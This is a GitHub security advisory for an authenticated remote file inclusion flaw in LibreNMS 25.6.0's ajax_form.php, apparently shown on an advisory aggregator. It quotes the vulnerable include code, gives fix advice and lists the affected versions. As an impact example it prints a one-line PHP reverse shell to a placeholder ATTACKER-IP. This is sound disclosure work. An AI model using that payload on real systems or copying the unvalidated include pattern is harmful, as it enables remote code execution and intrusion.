Loading HuntDB...

GHSA-gq96-8w38-hhj2

GitHub Security Advisory

LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE

✓ GitHub Reviewed HIGH Has CVE

Advisory Details

LibreNMS 25.6.0 contains an architectural vulnerability in the `ajax_form.php` endpoint that permits Remote File Inclusion based on user-controlled POST input.

The application directly uses the `type` parameter to dynamically include `.inc.php` files from the trusted path `includes/html/forms/`, without validation or allowlisting:

```php
if (file_exists('includes/html/forms/' . $_POST['type'] . '.inc.php')) {
include_once 'includes/html/forms/' . $_POST['type'] . '.inc.php';
}
```
This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities.

> This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.

# Conditions for Exploitation

- Attacker must be authenticated
- Attacker must control a file at `includes/html/forms/{type}.inc.php` (or symlink)

# Example Impact (RCE)

If a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the `librenms` user context:

```php
<?php system('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1"'); ?>
```
https://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812

---

# Recommended Fix

- Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames.
- Avoid passing raw POST input into `include_once`.
- Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).

Affected Packages

Packagist librenms/librenms
Affected versions: 0 (fixed in 25.7.0)

Related CVEs

Key Information

GHSA ID
GHSA-gq96-8w38-hhj2
Published
July 21, 2025 9:10 PM
Last Modified
July 23, 2025 1:37 PM
CVSS Score
7.5 /10
Primary Ecosystem
Packagist
Primary Package
librenms/librenms
GitHub Reviewed
✓ Yes

Dataset

Last updated: July 25, 2025 6:37 AM

Data from GitHub Advisory Database. This information is provided for research and educational purposes.